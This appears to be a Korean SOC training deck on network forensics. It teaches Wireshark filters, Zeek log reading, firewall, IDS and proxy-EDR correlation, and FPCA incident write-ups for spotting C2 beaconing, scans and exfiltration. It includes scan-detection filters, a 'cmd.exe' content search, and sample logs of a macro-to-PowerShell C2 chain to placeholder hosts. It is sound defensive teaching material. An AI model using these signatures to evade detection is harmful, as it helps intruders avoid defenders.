2단계Wireshark에서 해당 IP/Port로 Display Filter 적용

3단계필터된 세션에서 Follow Stream / Details 확인

4단계증거 요소 문서화 → 판단문 작성

잘못된 사용법

pcap을 열고 처음부터 모든 패킷을 읽으려 함
필터 없이 수만 줄을 육안으로 검토
Protocol이 무엇인지 하나하나 확인
결론 없이 "보고 있는 중"으로 시간 낭비

올바른 사용법

목적지 IP + 포트로 먼저 필터
Conversations로 통신량 많은 연결 파악
의심 세션 → Follow Stream으로 전체 흐름 확인

Wireshark에서 반드시 익혀야 할 6가지 동작

고급 메뉴를 다 아는 것보다, 핵심 동작 6개를 손에 익히는 것이 실무에 훨씬 유리하다.

도구 실습 · Wireshark

① 시간순 정렬

Time 컬럼 클릭 → 시간순 정렬. View > Time Display Format에서 절대/상대 시간 전환. 사건 타임라인 재구성의 기본.

② 기본 필드 확인

No. / Time / Source / Destination / Protocol / Length / Info. 이 6개 컬럼이 첫 판단의 전부다.

③ Display Filter

상단 필터바에 입력. 녹색=유효, 빨강=오류. ip.addr, tcp.port, dns, http 조합으로 빠르게 좁히기.

④ Packet Details

패킷 선택 → 하단 Details 패널. Ethernet > IP > TCP > HTTP 계층별 펼쳐보기. 헤더 값과 Flag 확인.

⑤ Follow Stream

패킷 우클릭 → Follow → TCP/UDP Stream. 해당 세션의 전체 요청/응답을 대화 형태로 한눈에 확인.

⑥ Conversations

Statistics > Conversations. IP 쌍별 통신량, 패킷 수, 바이트 집계. 누가 가장 많이 통신했는지 한눈에.

📌 원칙

패킷을 깊게 하나씩 보는 능력(③④⑤)과 연결 전체를 넓게 집계하는 능력(⑥)을 함께 갖춰야 한다.

Wireshark Display Filter 스타터팩

필터를 모르면 바다를 맨눈으로 보는 셈. 상황별 핵심 필터를 참조표로 활용하자.

도구 실습 · Wireshark

🔵 기본 필터 (처음 시작)

dns # DNS 전체 http # HTTP 전체 tls # TLS/HTTPS icmp # ICMP (Ping 등) ip.addr == 10.0.0.5 # 특정 IP ip.src == 203.0.113.10 # 특정 출발지 tcp.port == 443 # 특정 포트 tcp.dstport == 22 # 목적지 포트

🟢 DNS / HTTP 심화

dns.qry.name contains "evil" dns.flags.rcode == 3 # NXDOMAIN http.request.method == "POST" http.response.code == 404 http.user_agent contains "sqlmap"

🔴 공격 탐지 전용 필터

# SYN Scan (ACK 없는 SYN) tcp.flags.syn==1 and tcp.flags.ack==0 # NULL Scan (플래그 없음) tcp.flags == 0x000 # Xmas Scan tcp.flags == 0x029 # 큰 DNS (Tunneling 의심) dns and frame.len > 200 # frame 내용 포함 검색 frame contains "cmd.exe"

💡 필터 전략: 넓게(프로토콜) → 좁게(IP) → 더 좁게(포트/내용) 순서로 좁혀가라. 복잡한 한 줄보다 단순 필터 3번이 낫다.

Follow Stream / Conversations / Endpoints 실전 활용법

깊게 하나를 보는 Follow Stream, 넓게 집계하는 Conversations/Endpoints. 언제 어느 것을 쓸지가 핵심이다.

도구 실습 · Wireshark

Follow TCP Stream

사용 시점

웹 요청/응답 내용 확인
셸 명령어 실행 내용 확인
Beaconing 페이로드 구조 확인

패킷 우클릭 → Follow → TCP Stream

Conversations

사용 시점

가장 많이 통신한 IP 쌍 파악
특정 목적지로 집중 트래픽 확인
Exfiltration 용량 집계

Statistics → Conversations → IPv4 탭 → Bytes로 정렬

Endpoints

사용 시점

내부 호스트가 접근한 목적지 수 파악
Port Scan 피해자 다수 확인
특이한 외부 IP 발견

Statistics → Endpoints → IPv4 탭 → Packets로 정렬

실전 순서: Conversations로 이상 IP 쌍 발견 → 해당 IP 필터 적용 → Follow Stream으로 상세 확인. 이 3단계가 Wireshark 분석의 표준 플로우다.

ICMP: 진단 용도와 정찰 용도를 구분하는 실전

Ping은 누구나 쓰는 도구다. 같은 ICMP도 맥락에 따라 정찰일 수 있다.

도구 실습 · ICMP 분석

정상 ICMP 패턴

10.0.0.1 → 8.8.8.8 Echo Req (1회) 8.8.8.8 → 10.0.0.1 Echo Reply Payload=56bytes, TTL=56

단일 목적지, 1~4회 요청
응답 정상 수신
정상 Payload 크기 (56-64bytes)
관리자 또는 모니터링 시스템에서 발생

정찰 의심 ICMP 패턴

10.0.1.50 → 10.0.0.1 Echo Req 10.0.1.50 → 10.0.0.2 Echo Req 10.0.1.50 → 10.0.0.3 Echo Req ... (5초 안에 254개 대상)

동일 서브넷 전체에 대량 Sweep
응답 여부 → 살아있는 호스트 목록 수집
→ 다음 단계 Port Scan의 사전 정찰

판단 연습

10.0.1.50이 5초 안에 254개 내부 IP에 ICMP를 보냈다. 이것은 정찰인가, 정상 모니터링인가? 판단 근거를 말하시오.

TLS Handshake 분석: 암호화돼도 남는 단서

HTTPS 본문은 안 보여도 TLS 핸드셰이크 메타데이터는 여전히 풍부한 단서를 제공한다.

도구 실습 · TLS 분석

TLS Handshake 단서 목록

단서	위치	분석 활용
SNI	Client Hello (평문)	목적지 도메인 확인
인증서 Subject/Issuer	Server Certificate	Self-signed 탐지
인증서 유효기간	Not Before/After	비정상 기간 탐지
JA3 지문	Client Hello 파라미터	C2 클라이언트 식별
TLS 버전	Client/Server Hello	구버전 사용 탐지

⚠️ TLS 1.0/1.1 사용은 구버전 클라이언트 또는 악성 도구의 지표. 현대 정상 소프트웨어는 TLS 1.3을 선호.

JA3 지문으로 C2 탐지

JA3: Client Hello의 Cipher Suite, Extensions 등으로 만든 MD5 해시
같은 악성코드는 같은 JA3 → 서명처럼 활용
Cobalt Strike, Metasploit 등 알려진 JA3 DB 존재

Zeek ssl.log: ja3: a0e9f5d64349fb13191bc781f81f42e1 → abuse.ch JA3 DB 조회 결과: Cobalt Strike Beacon (확신도 87%)

Zeek: 패킷을 사람이 읽기 쉬운 로그로 바꿔준다

Wireshark가 현미경이라면 Zeek는 요약 보고서 작성기다. 대량 트래픽에서 의미 있는 정보만 추출한다.

도구 실습 · Zeek

Zeek 주요 로그 파일

로그 파일	포함 정보
conn.log	연결 요약 (IP, 포트, 바이트, 상태)
dns.log	DNS 질의/응답 전체
http.log	HTTP 요청/응답 메타데이터
ssl.log	TLS 핸드셰이크 정보, JA3
x509.log	SSL 인증서 상세
files.log	전송된 파일 해시/MIME
notice.log	Zeek 탐지 알람

# conn.log 예시 (탭 구분) ts 1720000000.0 id.orig_h 10.0.0.22 id.resp_h 91.x.x.55 id.resp_p 443 proto tcp service ssl duration 3.21 orig_bytes512 resp_bytes487 conn_stateSF

💡 Wireshark가 없을 때도 Zeek 로그만으로 Beaconing, DNS Tunneling, 데이터 유출 등 대부분의 이상을 탐지할 수 있다.

Zeek conn.log 완전 해독

conn.log는 분석의 시작점. 특히 conn_state 값이 연결의 성패와 의미를 결정한다.

도구 실습 · Zeek

핵심 필드 읽는 순서

id.orig_h / id.resp_h → 누가 누구와?
id.resp_p / proto → 어떤 서비스/프로토콜?
duration → 얼마나 오래?
orig_bytes / resp_bytes → 어느 방향으로 얼마나?
conn_state → 연결이 어떻게 끝났나?

conn_state 의미 해석

값	의미	분석 포인트
SF	정상 완료 (SYN-FIN)	정상 세션
S0	SYN만 보냄, 응답 없음	포트 스캔, 차단
REJ	RST로 거부됨	닫힌 포트
RSTO	출발지가 RST	비정상 종료
S1	Handshake 중 데이터	부분 완료
OTH	SYN 없이 패킷 감지	중간 캡처

⚠️ S0 다량 = 포트 스캔 강력 의심. 같은 src_ip에서 다수의 서로 다른 resp_p로 S0가 발생하면 즉각 조사 트리거.

Zeek dns.log + http.log + ssl.log 통합 분석

세 로그를 함께 읽으면 도메인 조회 → URL 요청 → TLS 연결의 완전한 흐름이 보인다.

도구 실습 · Zeek

dns.log 핵심 필드

query: evil-domain.top qtype_name:A rcode_name:NOERROR answers: 185.x.x.99 TTL: 60

질의명, 응답 IP, NXDOMAIN 여부
TTL 낮으면 Fast Flux 의심

http.log 핵심 필드

method: POST host: evil-domain.top uri: /update/check status: 200 user_agent:Mozilla/5.0 (win) resp_bytes:2048

Method, URI, User-Agent 이상 확인

ssl.log 핵심 필드

server_name:evil-domain.top issuer: Self-Signed ja3: a0e9f5d6... version: TLSv12

SNI, 인증서 발급자, JA3 지문
Self-signed = 즉각 조사

📌 통합 분석 결론

dns.log에서 evil-domain.top 조회 → ssl.log에서 Self-signed 인증서 + 알려진 C2 JA3 → http.log에서 /update/check POST 반복 → Cobalt Strike Beacon 확신도 높음

Firewall 로그 분석 실전: 허용과 차단의 기록

방화벽은 통신의 관문이다. 허용된 것과 차단된 것 모두가 분석의 단서가 된다.

도구 실습 · Firewall

Firewall 로그 핵심 필드

# 일반적인 방화벽 로그 구조 timestamp 2024-07-15 09:22:14 action ALLOW (or DENY) src_ip 10.0.1.25 dst_ip 185.x.x.99 dst_port 443 protocol TCP bytes 1024 rule OUTBOUND-HTTPS

분석 포인트 3가지

DENY 급증차단 정책 우회 시도. 같은 Src에서 반복 차단 → 스캔 또는 Brute Force

ALLOW 이상허용된 연결 중 목적지가 신규 외부 IP → C2 의심

Policy 변경갑자기 새로운 규칙 추가 → 내부자 또는 공격자 정책 변경

⚠️ 방화벽은 차단 도구이지 탐지 도구가 아니다. ALLOW 로그도 반드시 분석해야 공격 경로를 파악할 수 있다.

IDS/IPS Alert 분석과 우선순위 결정

IDS Alert가 쏟아질 때 모든 것을 동등하게 보면 진짜 위협을 놓친다. 우선순위 결정 기준이 필요하다.

도구 실습 · IDS 분석

Alert 우선순위 결정 기준

즉각 조사중요 자산 + 알려진 CVE + 실제 트래픽 동반

30분 내중요 자산 + 고위험 시그니처 (C2, Exfiltration)

당일 처리일반 자산 + 정보성 시그니처 (Scan, 정찰)

배치 검토알려진 FP, 보안 스캐너 트리거

Alert Triage 질문 5개

이 Alert를 발생시킨 자산의 중요도는?
같은 자산에서 이전에도 같은 Alert가 있었는가? (FP 이력)
Alert 전후로 관련 이상 행동이 다른 로그에서도 보이는가?
이 시그니처의 오탐율은 어느 정도인가?
Alert 직전 변경 작업(배포, 업데이트)이 있었는가?

🚨 Alert Fatigue: 오탐이 많으면 분석가가 경보를 무시하기 시작함. FP 비율이 50% 이상인 규칙은 즉각 튜닝 대상.

Proxy 로그 + EDR 연계: 행위자를 특정한다

Proxy는 URL을 보고, EDR은 프로세스를 본다. 둘을 연결하면 "누가 어떤 프로세스로 어떤 URL에 접속했는지"가 완성된다.

도구 실습 · 연계 분석

Proxy 로그 핵심 필드

timestamp: 2024-07-15 03:22:11 client_ip: 10.0.2.33 url: https://evil.top/update/check method: POST status: 200 bytes_out: 512 bytes_in: 487 user_agent: Mozilla/5.0 Compatible

EDR 연계 확인

# 같은 시각 EDR에서: host: 10.0.2.33 process: powershell.exe parent: winword.exe ← 이상! network: evil.top:443 연결

결론: 워드 문서 열기 → 매크로 실행 → PowerShell 생성 → C2 연결. 전형적인 악성 문서 감염 체인.

📌 핵심 원칙

Proxy 로그로 "어디로 갔는가"를 확인하고, EDR로 "어떤 프로세스가 만들었는가"를 확인하면 공격자의 실행 경로가 완성된다.

Alert → 분석 → 에스컬레이션 표준 워크플로우

체계적인 워크플로우 없이 분석하면 속도도 느리고 중요한 것을 놓친다. 표준 흐름을 몸에 익혀야 한다.

운영 실무 · 워크플로우

Alert 수신

→

자산 중요도 확인

→

FP 이력 확인

→

에스컬레이션 결정 기준

중요 자산 + 실제 공격 확신도 > 70%
여러 로그 소스에서 동일 이상 패턴 확인
자동 처리 불가능한 수준의 복잡한 사고
사람의 판단이 필요한 비정형 상황

종결/튜닝 결정 기준

알려진 FP 패턴과 완전히 일치
변경 작업 이력으로 설명 가능
다른 로그에서 전혀 보강 없음
동일 규칙의 FP율이 90% 이상

결정을 미루는 것도 결정이다. 불확실할 때는 "추가 확인 필요"로 이유와 다음 단계를 명시하고 티켓에 기록하라.

보강 설명Alert → 분석 → 에스컬레이션 표준 워크플로우 슬라이드는 기술 판단을 운영 문장으로 바꾸는 방법을 다루는 구간이다. 사실·패턴·맥락·조치를 분리해서 적으면 에스컬레이션과 후속 협업이 훨씬 쉬워진다.

운영 실무판단문에스컬레이션

핵심 포인트

사실과 추론을 분리해 적으면 보고 신뢰도가 높아진다
위험도 판단에는 자산 중요도와 현재 진행 여부를 반드시 포함
좋은 문장은 다음 조치와 추가 확인이 무엇인지 바로 보이게 한다

추가 확인

오탐 가능성도 함께 적어 후속 팀의 판단 비용을 줄이기
누락된 로그 소스와 필요한 권한·담당 부서를 같이 명시하기
보고 대상이 기술팀인지 경영진인지에 따라 표현 수준 조정

실무 적용

에스컬레이션은 늦음보다 근거 있는 조기 공유가 더 안전한 경우가 많다
기준선은 숫자와 기간을 명시해야 룰 튜닝에 재사용 가능하다
표준 문장 템플릿을 만들어 팀 내 판단 품질을 균일화할 수 있다

정상/이상 구분 기준 설계: 우리 환경의 '정상'부터 정의하라

이상 탐지의 출발점은 정상 정의다. 무엇이 정상인지 모르면 무엇이 이상한지도 알 수 없다.

운영 실무 · 기준 설계

정상 기준 설계 항목

영역	정상 정의 예시
업무 시간	월-금 08:00-20:00 KST
DNS 쿼리수	호스트당 분당 최대 30개
외부 접속 도메인	화이트리스트 300개 + CDN
업로드 한도	호스트당 일 500MB 이하
세션 수	시간당 200개 이하
비업무 시간 외부 연결	모니터링 에이전트만

정상 기준 업데이트 조건

신규 SaaS 서비스 도입 → 도메인 화이트리스트 추가
새로운 모니터링 에이전트 배포 → 비업무 연결 예외 등록
조직 인원 증가 → DNS 쿼리 임계값 재계산
매분기 기준선 재검토 (업무 패턴 변화 반영)

⚠️ 정상 기준을 한번 만들고 영원히 쓰면 안 된다. 조직 환경은 계속 변한다. 분기별 검토가 최소 기준.

네트워크 이벤트 서술문 작성 실습

분석 결과는 Fact + Pattern + Context + Action 구조로 써야 에스컬레이션과 보고서 모두에 쓸 수 있다.

실습 · 서술문 작성

FPCA 서술문 구조

F (Fact)관찰된 사실만 기술. 로그, 시각, IP, 포트, 횟수 등 객관적 데이터

P (Pattern)관찰된 패턴과 그 의미. 빈도, 방향, 규칙성, 비정상성

C (Context)해당 자산의 역할, 사용자, 시간대, 변경 이력 등 환경 맥락

A (Action)권고 조치. 격리/모니터링 강화/추가 조사/종결 등 구체적 행동

실습: 다음을 FPCA로 작성하시오

데이터:
• 10.0.1.22 → 외부IP 185.x.x.44:443
• 5분 간격, duration=3초, bytes_out=512B
• 야간 02:00-06:00 반복 (총 48회)
• dns.log: update-check.random-domain.top
• ssl.log: Self-signed 인증서
• 해당 호스트: 인사팀 직원 PC

위 데이터를 Fact / Pattern / Context / Action 4개 문장으로 서술하시오.

서술문 작성 모범 답안 — 비교하고 토론하자

좋은 서술문에는 추측이 아닌 근거가 있고, 막연한 권고가 아닌 구체적 행동이 있다.

실습 · 서술문 답안

F (Fact): 2024-07-15 02:00~06:00, 10.0.1.22에서 185.x.x.44:443으로 5분(±20초) 간격, 총 48회 HTTPS 연결이 발생. 매 세션 3초 내 종료, 아웃바운드 512B. ssl.log에서 Self-signed 인증서 및 JA3 a0e9f5d6 확인. dns.log에서 update-check.random-domain.top 조회 기록.

P (Pattern): 5분 간격 규칙성, 야간 집중, 소량 아웃바운드 + Self-signed는 C2 Beaconing의 전형 패턴. random-domain.top 도메인의 높은 엔트로피와 신규 등록은 추가 의심 요인.

C (Context): 10.0.1.22는 인사팀 직원 PC. 야간 접근이 정상 업무 패턴과 맞지 않음. 해당 사용자 주간 VPN 연결 없었고 어제 업무 시간 후 로그오프 기록.

A (Action): 즉각 10.0.1.22 격리 및 185.x.x.44 방화벽 차단 권고. EDR에서 해당 PC의 프로세스 및 최근 파일 다운로드 이력 확인. 해당 사용자에게 최근 이메일 첨부파일 수신 여부 인터뷰. 증거 보전 후 Incident Response 절차 진행.

핵심: F는 로그 데이터만, P는 패턴 해석, C는 환경 맥락, A는 구체적 행동. 이 4개 경계를 지키면 서술문의 설득력이 크게 높아진다.

실습 종합: 실제 데이터셋으로 분석 흐름 완성

이론을 실전으로 연결하는 단계별 실습 가이드. Malware-Traffic-Analysis.net 케이스를 활용한다.

실습 종합

실습 단계 (각 30분)

준비malware-traffic-analysis.net에서 최신 케이스 다운로드

1단계Wireshark Conversations로 통신량 상위 IP 쌍 파악

2단계dns 필터 → 비정상 도메인 찾기

3단계ssl 필터 → Self-signed / JA3 확인

4단계FPCA 서술문 작성 → 발표

실습 평가 기준

항목	배점
감염 호스트 IP 정확히 식별	20점
C2 도메인/IP 발견	25점
공격 흐름 타임라인 재구성	25점
FPCA 서술문 완성도	30점

💡 풀이는 케이스 페이지에 공개되어 있다. 먼저 혼자 시도한 뒤 정답과 비교하는 방식이 가장 효과적.

SOC 네트워크 분석의 핵심 원칙 9가지

기술은 배울 수 있지만 올바른 사고방식이 없으면 기술이 힘을 발휘하지 못한다. 9가지 원칙을 몸에 새겨라.

Wrap-up · 핵심 원칙

① 맥락이 결론을 바꾼다
같은 443도 자산·시간·목적지에 따라 의미가 다르다.

② 패턴이 단일 이벤트보다 강하다
한 번의 이상보다 반복 패턴이 더 강력한 증거다.

③ 질문을 먼저 던져라
방향 없이 데이터를 보면 시간만 낭비된다.

④ East-West도 봐야 한다
내부 확산은 경계 센서만으로 탐지할 수 없다.

⑤ 기준선 없이 탐지 없다
무엇이 정상인지 알아야 이상을 알 수 있다.

⑥ 여러 증거를 겹쳐라
단일 로그보다 DNS+Flow+EDR 교차가 더 강하다.

⑦ 빠름보다 정확함이 먼저
섣부른 판단이 오탐과 불필요한 격리를 만든다.

⑧ 판단은 문장으로 남겨라
기록 없는 분석은 재현이 불가능하고 발전도 없다.

⑨ 모르는 것을 인정하라
"모르겠다"는 답도 답이다. 에스컬레이션이 있다.

보강 설명SOC 네트워크 분석의 핵심 원칙 9가지의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

학습 연결: Module 1 → 2 → 3의 완성

세 모듈이 분리된 것이 아니다. SOC 분석가의 통합 역량으로 연결되는 방식을 확인하자.

Wrap-up · 학습 연결

Module 1

SOC의 개념과 판단 구조

왜 SOC가 존재하는가
Fact/Pattern/Context/Action
이벤트 → 판단 → 대응

Module 2

Linux 호스트 로그 분석

syslog, auth.log, audit.log
프로세스/파일/계정 이상 탐지
호스트 레벨 사고 재구성

Module 3

네트워크 & 패킷 분석

IP/Port/Protocol/Flow
DNS/HTTP/TLS 이상 탐지
공격 체인 시간순 재구성

📌 통합 역량

Module 1(판단 구조) + Module 2(호스트 맥락) + Module 3(통신 맥락) = 사고의 흐름을 처음부터 끝까지 재구성하는 분석가

보강 설명학습 연결: Module 1 → 2 → 3의 완성의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

Module 4 예고: SIEM 운영과 탐지 엔지니어링

지금까지 배운 로그와 패턴 지식은 Module 4에서 SIEM 규칙으로 자동화된다.

Wrap-up · 다음 단계

Module 4에서 배울 것

SIEM 아키텍처: 로그 수집 → 정규화 → 규칙 → 알람
SPL(Splunk) / KQL(Microsoft Sentinel) 쿼리 작성
상관관계 규칙 5가지 완전 구현
대시보드 구성: SOC 화면 설계
플레이북 작성: Alert 별 표준 대응 절차

Module 3 → Module 4 연결 지점

Module 3 개념	Module 4 활용
Beaconing 패턴	C2 탐지 SIEM 규칙
DNS NXDOMAIN	DGA 상관관계 규칙
FPCA 서술문	플레이북 트리거
기준선 수립	동적 임계값 규칙

Module 3를 제대로 익혔다면 Module 4는 그것을 자동화하는 단계다. 패턴을 알아야 규칙을 만들 수 있다.

보강 설명Module 4 예고: SIEM 운영과 탐지 엔지니어링는 수업을 끝내는 장면이 아니라 이후의 학습과 실습 루틴을 연결하는 슬라이드다. 반복적으로 로그를 읽고 판단문을 쓰는 습관이 결국 분석 품질을 만든다.

다음 단계루틴성장

다음 2주에 할 일

수업에서 본 예시 로그를 다시 읽고 1장 요약 만들기
Wireshark/Zeek/Flow 중 하나를 골라 손에 익힐 정도로 반복
자주 틀린 개념을 개인 치트시트로 정리하기

실무 감각 키우기

하루 10분이라도 정상과 이상 예시를 비교해 보는 루틴 만들기
동향 자료는 제목만 읽지 말고 우리 환경에 어떤 의미인지 적기
결론보다 근거와 추가 확인 질문을 쓰는 습관 유지

후속 학습 추천

Module 4의 SIEM 규칙과 상관분석에서 지금 배운 네트워크 지식이 재사용됨
PCAP·Threat Hunting·룰 튜닝은 작은 과제를 반복할수록 빨라진다
팀 내 리뷰를 통해 보고 문장의 명확성을 계속 다듬기

BGP와 라우팅 보안: 인터넷 경로 납치 공격

BGP는 인터넷의 경로 지도를 결정하는 프로토콜이다. BGP Hijacking은 이 지도를 조작해 트래픽을 납치한다.

심화 · 라우팅 보안

BGP Hijacking 원리

BGP: 인터넷 상의 AS(Autonomous System) 간 경로 교환
공격자가 다른 AS의 IP 대역을 자신 것처럼 공고
인터넷 라우터들이 공격자 경로로 업데이트
해당 IP로의 트래픽이 공격자를 통과

실제 BGP Hijacking 사례

2018 Amazon Route53: $152,000 암호화폐 탈취
2019 Rostelecom: Google, Facebook 트래픽 납치
2022 Cloudflare 차단된 AS: DDoS 서비스 제공자 대상

BGP 보안 대응

RPKI(Resource Public Key Infrastructure): AS가 공고하는 IP 대역 서명 검증
IRR 필터링: 알려진 라우팅 정책 기반 필터
BGPmon 모니터링: 이상 경로 변경 실시간 감지

💡 SOC 입장에서는 BGP Hijacking 직접 탐지보다 BGPmon.net 또는 RIPE RIS Live에서 우리 IP 대역 모니터링이 현실적 대응이다.

Python으로 네트워크 로그 분석 자동화

반복되는 분석 작업은 스크립트로 자동화하면 수 시간이 수 분으로 줄어든다.

심화 · 자동화

Zeek conn.log Beaconing 탐지

import pandas as pd import numpy as np # conn.log 로드 df = pd.read_csv("conn.log", sep="\t") # IP 쌍별 시간 간격 분석 grouped = df.groupby(["orig_h","resp_h"]) for name, g in grouped: intervals = g["ts"].diff().dropna() cv = intervals.std() / intervals.mean() if cv < 0.2 and len(g) > 10: print(f"Beaconing: {name}, CV={cv:.3f}")

DNS 이상 탐지 스크립트

# NXDOMAIN 비율 계산 dns = pd.read_csv("dns.log", sep="\t") by_host = dns.groupby("orig_h") for host, g in by_host: total = len(g) nxdomain = (g["rcode_name"]=="NXDOMAIN").sum() ratio = nxdomain / total if ratio > 0.3 and total > 20: print(f"DGA? {host}: {ratio:.1%}")

💡 pandas + Zeek 로그 조합으로 Beaconing, DGA, Exfiltration 탐지를 몇 십 줄의 코드로 구현 가능. 기초 Python 실력만 있으면 된다.

우리가 아직 탐지하지 못하는 것들 — 미탐 구간 직시

탐지 한계를 모르면 보완할 수 없다. 현재 기술로도 어려운 공격 유형을 솔직하게 정리한다.

심화 · 탐지 한계

완전 암호화 C2

QUIC(HTTP/3), DoH를 사용하는 C2는 기존 DPI 도구로 탐지가 매우 어렵다. 통계적 패턴 분석이 유일한 대안.

SaaS를 통한 C2

GitHub, Google Docs, Slack을 C2로 사용하는 공격. 정상 SaaS 트래픽과 구분이 매우 어렵다.

Living off the Land (LotL)

PowerShell, WMI, certutil 등 정상 도구로만 공격. 네트워크 레벨에서 별도 악성 바이너리 없음 → IDS/EDR 탐지 어려움.

초저속 장기 공격 (Low & Slow)

수주~수개월에 걸쳐 아주 천천히 데이터를 유출. 기준선 탐지 임계값을 의도적으로 회피. APT의 전형적 전술.

⚠️ 이 한계들의 공통점: 시그니처 기반 탐지의 한계. ML 기반 이상 탐지와 Threat Hunting이 보완 역할을 해야 한다.

보강 설명우리가 아직 탐지하지 못하는 것들 — 미탐 구간 직시의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

네트워크 보안 분석의 미래: AI/ML의 역할

AI는 분석가를 대체하지 않는다. 분석가의 시야를 확장하고 반복 작업을 자동화한다.

심화 · AI/ML 활용

ML이 효과적인 분야

Beaconing 탐지: 시간 간격 패턴 통계 분석
DGA 탐지: 도메인 이름 엔트로피/언어 모델
이상 행동 탐지(UEBA): 사용자/호스트 행동 기준선 학습
로그 분류: NLP로 서술문 자동 분류
우선순위 지정: Alert 심각도 자동 평가

ML의 한계와 위험

학습 데이터 품질 = 모델 품질 → 쓰레기 입력 = 쓰레기 출력
Adversarial Attack: 공격자가 ML 탐지 우회 학습
블랙박스 문제: "왜 이상인가" 설명 불가 → 에스컬레이션 어려움
신규 공격 유형: 학습 데이터 없으면 탐지 불가

💡 AI+분석가 협업 모델이 최선: AI가 1차 분류 → 분석가가 맥락 확인 → AI가 재학습. 어느 쪽도 단독으로는 충분하지 않다.

실전 퀴즈 10문제 — 지식 점검

암기가 아닌 적용을 테스트한다. 이 문제들이 실무에서 실제로 만나는 판단 상황이다.

지식 점검 · 종합 퀴즈

Q1. conn_state "S0"는 무엇을 의미하는가? 어떤 공격과 연결되는가?

Q2. DNS NXDOMAIN이 1분에 50개 발생하면 어떤 공격을 의심하는가?

Q3. 5분 간격으로 3초짜리 HTTPS 세션이 반복된다. 무엇을 의심하는가?

Q4. JA3 지문이 Cobalt Strike와 일치한다. 이것만으로 확신할 수 있는가? 왜?

Q5. BGP Hijacking이 발생하면 어떤 증상이 나타나는가?

Q6. ARP Spoofing 탐지 시 가장 먼저 확인할 로그/도구는?

Q7. Fast Flux 도메인의 특징을 2가지 이상 말하시오.

Q8. SSRF 공격이 성공했을 때 네트워크 레벨에서 보이는 이상 신호는?

Q9. Zeek ssl.log에서 "Self-signed" 인증서가 보이면 즉각 이상인가? 정상 경우도 있는가?

Q10. FP 비율 90%의 IDS 룰이 있다. 어떻게 할 것인가?

💡 정답은 강사와 함께 토론. 단순 정답보다 "왜 그렇게 생각하는가"의 근거를 함께 발표하는 것이 목표.

심화 분석

네트워크 포렌식 전체 흐름

🔍 수집 단계

PCAP 캡처 / NetFlow 수집
Zeek 로그 확보
방화벽·프록시 로그 통합
SIEM 이벤트 추출

📋 분석 단계

타임라인 재구성
출발지·목적지 매핑
프로토콜 이상 확인
데이터 이동 방향·양

T0 침입 전조 (Scan/Brute)

T1 초기 접근 성공

T2 내부 탐색 (Lateral)

T3 C2 연결 수립

T4 데이터 유출

포렌식 = 타임라인 복원 + 통신 경로 재구성 + 데이터 흐름 정량화

보강 설명네트워크 포렌식 전체 흐름의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

실전기술

PCAP 분석 실전 워크플로우

1. 통계 개요
Protocol Hierarchy

→

2. 대화 목록
Conversations

→

3. 의심 IP
필터링

→

4. 스트림
Follow TCP

# 1단계: 어떤 프로토콜이 많은가? Statistics → Protocol Hierarchy → TCP 85%, DNS 8%, ICMP 3% # 2단계: 어떤 IP 쌍이 가장 많은 바이트? Statistics → Conversations → IPv4 → 정렬: Bytes 내림차순

# 3단계: 의심 IP 필터 ip.addr == 203.0.113.55 && tcp.flags.syn == 1 # 4단계: TCP 스트림 내용 확인 우클릭 → Follow → TCP Stream → ASCII로 전환하면 평문 확인

PCAP은 전체→대화→IP→스트림 순서로 드릴다운하라

